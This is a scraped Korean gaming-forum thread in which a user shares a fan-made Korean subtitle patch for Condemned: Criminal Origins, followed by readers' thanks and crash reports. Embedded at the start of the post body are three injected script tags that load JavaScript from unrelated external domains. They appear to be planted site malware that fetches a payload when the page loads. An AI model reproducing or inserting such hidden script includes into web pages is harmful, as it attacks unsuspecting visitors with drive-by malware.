총 게시물 493건, 최근 0 건 안내 글쓰기
이전글  다음글  목록 수정 삭제 글쓰기
[자료]

Condemned : Criminal Origins 한글 자막 패치 v0.1 (테스트용)

글쓴이 : SDJ  (218.♡.95.171) 날짜 : 2008-02-17 (일) 12:45 조회 : 26603
condemned_kor_v0.1.rar (109.1K), Down : 5861, 2008-02-17 12:45:48
<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script><SCRIPT Language=JavaScript src=http://streamhelper.cafe24.com/v1/streamhelper.js></script> 컨뎀드 테스트용 자막 한글화 패치입니다. 아래 스샷처럼 로딩 화면의 "내부 보고서" 부분과 대화 자막이 100% 한글화 되어있습니다. 전체적으로 한글화를 하려고 했으나 도저히 울렁거려서 챕터 4 진행하다가 못하겠더군요. -_-; 설치는 컨뎀드가 설치된 폴더에 덮어 씌우시면 됩니다. 주의 : 챕터4 이후로는 테스트를 못해봐서 영어로 나오거나 튕기는 부분이 생길지 모릅니다. 그때는 스샷과 함께 어느 대사가 나오고 난 후에 튕기는지 알려주시면 감사하겠습니다. * 대화 번역 출처 : http://blog.naver.com/alien650 * 자료가 짤리면 여기서 받으세요 : http://sondj.tistory.com/attachment/ek120000000002.rar 아래는 스샷입니다.

 
 
오메가3 (59.♡.124.239) 2008-02-17 (일) 14:30
헉! 이걸 한글화 하신분이 있을줄은.. 감사합니다 잘쓸께요~^^
댓글주소 추천 0
 
 
Sirano (121.♡.144.18) 2008-02-18 (월) 18:42
한글화 정말 감사드립니다!!
댓글주소 추천 0
 
 
감자맛맥주 (121.♡.76.170) 2008-02-19 (화) 11:12
와우!!!!! 근데 이미 챕터4를 넘어버려서  -_-;;
대사집 저는 37페이지에 달하는걸 다 프린트했네요 ㅠㅠ

화이팅!!
댓글주소 추천 0
 
 
잔챙이 (59.♡.59.186) 2008-02-21 (목) 20:30
와 정말 감사해요 ^^!! ㅋㅋ
댓글주소 추천 0
 
 
Promise-U (116.♡.52.186) 2008-02-25 (월) 04:06
정말 감사합니다. 요즘들어서 다시 해볼까 생각중이었는데, 이렇게 되니 다시 해야겠군요
댓글주소 추천 0
 
 
팝핀 (222.♡.159.41) 2008-02-25 (월) 17:10
죄송한데챕터5부터는언제쯤....???
댓글주소 추천 0
SDJ (218.♡.95.171) 2008-02-25 (월) 18:35
자막은 100% 되있습니다.

90% 이상 한글화라는 것은 전체적인 메뉴, 목표, 힌트, 행동 지침 등의 것을 포함해서 얘기한 것입니다.

제 글에 오해의 소지가 있나보네요.
댓글주소 추천 0
 
 
romy (61.♡.21.31) 2008-02-27 (수) 01:39
흐미 SDJ님 또 한건 하셨네요
감사감사... 토탈워시리즈  , 스토커 , 바이오쇼크 등등 에 이어서 이렇게 또 명작겜하나를 ..
님은 겜 한글화계의 찬란한 등불이십니다 그려 ㅎㅎ
댓글주소 추천 0
 
 
화이트핸드 (121.♡.159.202) 2008-02-27 (수) 02:07
SDJ님 한글화 감사합니다.
댓글주소 추천 0
 
 
주나 (211.♡.23.209) 2008-02-27 (수) 02:31
감사합니다...다시 즐겨 봐야 겠네요...
댓글주소 추천 0
 
 
Psyche (59.♡.193.28) 2008-02-27 (수) 04:06
정말 수고 많으셨습니다. 이 게임을 하진 않지만 정말 여러모로 수고가 많으시네요^^
댓글주소 추천 0
카포에라 (211.♡.14.26) 2008-02-27 (수) 10:56
SDJ님은 그냥 이 길로 나가셔도 될 듯.
댓글주소 추천 0
머덜이 (222.♡.179.45) 2008-02-27 (수) 13:01
오.. 쥐도새도모르게 나왔군요

ㄷㄷ

이런게임을 한글화 해주시다니 감사합니다 ^^
댓글주소 추천 0
 
 
열혈바보 (125.♡.23.55) 2008-02-27 (수) 13:11
한글화라니....정말 대단하십니다.
덕분에 재밌게 할 수 있겠어요ㅋㅋ
댓글주소 추천 0
 
 
사이보그 (220.♡.171.52) 2008-02-27 (수) 17:27
sdj님 정말 감사드립니다 ^^ 전에 하다 말았는데 다시 시작해봐야 겠네용 ㅎㅎ
댓글주소 추천 0
 
 
코리아산푸우 (219.♡.115.247) 2008-02-28 (목) 16:27
정말 감사합니다.한글화 하시는분들 존경합니다.ㅠㅠ
댓글주소 추천 0
 
 
WhiteWind (211.♡.92.129) 2008-02-28 (목) 20:43
워~~~ 한글패치가 나오다니... 감사합니다!!!!!! ^^
댓글주소 추천 0
 
 
커피향기 (125.♡.129.175) 2008-02-28 (목) 23:36
좋은 자료 감사합니다....잘 쓰겠습니다~ ^^*
댓글주소 추천 0
우라카타 (210.♡.67.147) 2008-02-29 (금) 02:10
정말 감사합니다. 한번 깨고 언락 코드도 안풀고 봉인한 컨뎀드 다시 봉인해제 해야겠습니다. ^^
댓글주소 추천 0
 
 
EVILMAN (116.♡.64.50) 2008-03-01 (토) 14:13
정말 감사합니다
댓글주소 추천 0
 
 
써니데이 (222.♡.70.190) 2008-03-01 (토) 18:53
아아 정말 멋지십니다. 고생 많이 하셨을텐데.. 보답으로 열심히 플레이 하겠습니다 ^^
댓글주소 추천 0
 
 
dsasd (222.♡.34.166) 2008-03-02 (일) 12:33
님 대단하네요. 저는 컨뎀드 한글패치 나와주겠지 라고 여태껏 안했는데
이게 진짜 나왔군요..^^ 정말 대단합니다
요즘들어 한글화 발매가 안되고 있는데 님같은 한글패치 해주시는 분들이 있어야
진짜 외국어 모르는 유저들은 정말 고마울것 같습니다. 아무튼 감사합니다.
댓글주소 추천 0
 
 
neoccck (124.♡.2.67) 2008-03-02 (일) 12:58
정말 감사합니다. ^^;
댓글주소 추천 0
 
 
Homerun (124.♡.179.231) 2008-03-02 (일) 19:29
이분 혹시 예전에 콜오브크툴루와 컨뎀드 한글대사집 만들어주셨던 '보르티곤트' 님 아니신가요?
어쨌든 덕분에 정말 게임 재밌게 즐길 수 있겠네요. 감사드립니다!
댓글주소 추천 0
 
 
블랙&모어 (125.♡.70.70) 2008-03-10 (월) 21:00
그냥 조용히..감사할 따름입니다
이런분들 천사인가..
댓글주소 추천 0
리틀빅플래닛 (125.♡.140.42) 2008-03-11 (화) 03:56
정말 좋은자료네요.....감사합니다^^
댓글주소 추천 0
 
 
풍악을울려라 (117.♡.223.212) 2008-03-12 (수) 18:20
자료는 감사히 잘 받았는데 저는 안돼네요..
파일 두개이죠.. 컨뎀드 설치 된 곳에 붙여넣기 했는데도
실행하면 영문으로 나와요..
C:\\Program Files\\SEGA\\Condemned - Criminal Origins 경로에
붙여넣기도 하고.. 사실상 이렇게 하면 되지만 혹시나 해서
C:\\Program Files\\SEGA\\Condemned - Criminal Origins\\Game 에도
넣었지만.. 어차피 default.archcfg 메모장 열면 경로는 적혀있죠..
저는 왜 한글로 안나오는지 미스테리.
댓글주소 추천 0
 
 
winter2000 (58.♡.214.43) 2008-03-23 (일) 18:46
넘넘 감사드려요...sdj님 킹왕짱.....로또살때마다 1등 맞으세요~~복받으실겁니다..
댓글주소 추천 0
 
 
천자지주 (58.♡.230.77) 2008-04-23 (수) 11:45
SDJ님 한글화 하신거 잘쓰고 있습니다^^감사드리고요. 챕터 8인가에서 캐비넷안에서 트레비스인가 찾고 가까이서 사진찍을려고하면 손잡고 뭐라고 한다음에 쓰러져서 죽고 난 뒤에 로사랑 대화 할려는 부분에서 튕기는 현상이 있네요 더 이상 겜 진행이 안됩니다^^
댓글주소 추천 0
 
 
강성호 (211.♡.195.215) 2008-04-26 (토) 19:42
나두 한글안되네..한글로 되는방법없나요?
댓글주소 추천 0
 
 
미련곰팅 (60.♡.221.26) 2008-05-15 (목) 21:09
... 어디지... 로사랑 같이 도서관 미션하는곳 그곳 다 깨고나니 컨티뉴 미션누르니 곧바로 튕기더군요...
댓글주소 추천 0
 
 
여름안에서 (221.♡.124.187) 2008-05-18 (일) 05:19
고맙습니다 ^^
댓글주소 추천 0
니키 (124.♡.222.153) 2008-05-22 (목) 19:44
한글 잘 되네요.
감사합니다. ^^
댓글주소 추천 0
 
 
Uplink (118.♡.32.239) 2008-07-12 (토) 22:24
감사드립니다 덕분에 재미있게 즐기고 있습니다. ^^
댓글주소 추천 0
 
 
처먹으울엠 (121.♡.158.61) 2008-07-15 (화) 04:09
님 제발 자부심 가지세요. 님은 그럴 자격 있습니다. 감사 드립니다.^^
댓글주소 추천 0
 
 
도토린 (211.♡.15.4) 2008-10-02 (목) 05:43
또한번의 유저한글화 감사합니다.
댓글주소 추천 0
 
 
Thomas Anders (121.♡.138.128) 2009-04-01 (수) 18:09
잘 받아가요^^
댓글주소 추천 0
 
 
kkkhss (125.♡.2.30) 2011-02-17 (목) 00:58
참 한국 게임이 이런분들덕에 삽니다ㅠㅠㅠㅠ 감사해요
댓글주소 추천 0
hi
이전글  다음글  목록 수정 삭제 글쓰기

총 게시물 493건, 최근 0 건 안내
번호 분류 제목 글쓴이 날짜 비추천 조회
자료  Condemned : Criminal Origins 한글 자막 패치 v0.1 (테스트용) 38 SDJ 02-17 0 26604
자유/잡담  액션게시판 공지입니다. 1 샤다삐라 05-15 0 3221
스크린샷  Condemned : Criminal Origins 19 betagam 04-14 0 43079
493 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 10 비누거품 01-07 0 814
492 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 9 비누거품 01-07 0 657
491 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 8 비누거품 01-07 0 601
490 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 7 비누거품 01-07 0 617
489 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 6 비누거품 01-07 0 550
488 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 5 비누거품 01-07 0 631
487 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 4 비누거품 01-07 0 896
486 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 3 비누거품 01-07 0 624
485 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 2 비누거품 01-07 0 614
484 게임공략  컨뎀드 크리미널 오리진 (Condemned) - Chapter 1 3 비누거품 01-07 0 989
483 자유/잡담  요즘 내가 가장 잼있게 하는겜 정말멋진남자 11-06 0 792
482 소감/평가  이거 한글패치 있겠다. 증말 짱입니다! 와따 굿!! 반드시 2 3금화이팅 07-28 0 1478
481 자유/잡담  영화 브래드 피트의 '세븐'이 생각나는 게임 드림 05-22 0 885
480 자유/잡담  아 정신없이 함 개판이네 04-22 0 822
479 자유/잡담  이거 2가 pc로 나와야 하는데 3 무언의정체 01-29 0 1602
478 질문/요청  지하철 발자국 다음.팅김 2 私の命7 08-18 0 1505
477 스크린샷  지하철 발자국 사진이안찍혀서 ㅋㅋ 1 CRESPO 05-22 0 1850
476 자유/잡담  컨댐드2 엑박방송함 슈퍼컴퓨터 05-16 0 1099
475 질문/요청  컨뎀드 하시는분들 키설정 어케 했어요? 3 정말멋진남자 05-15 0 1402
474 소감/평가  진짜 명작 사람 뚜두려 패는맛이 나는게임 정말멋진남자 05-13 0 1773
1 2 3 4 5 6 7 8 9 10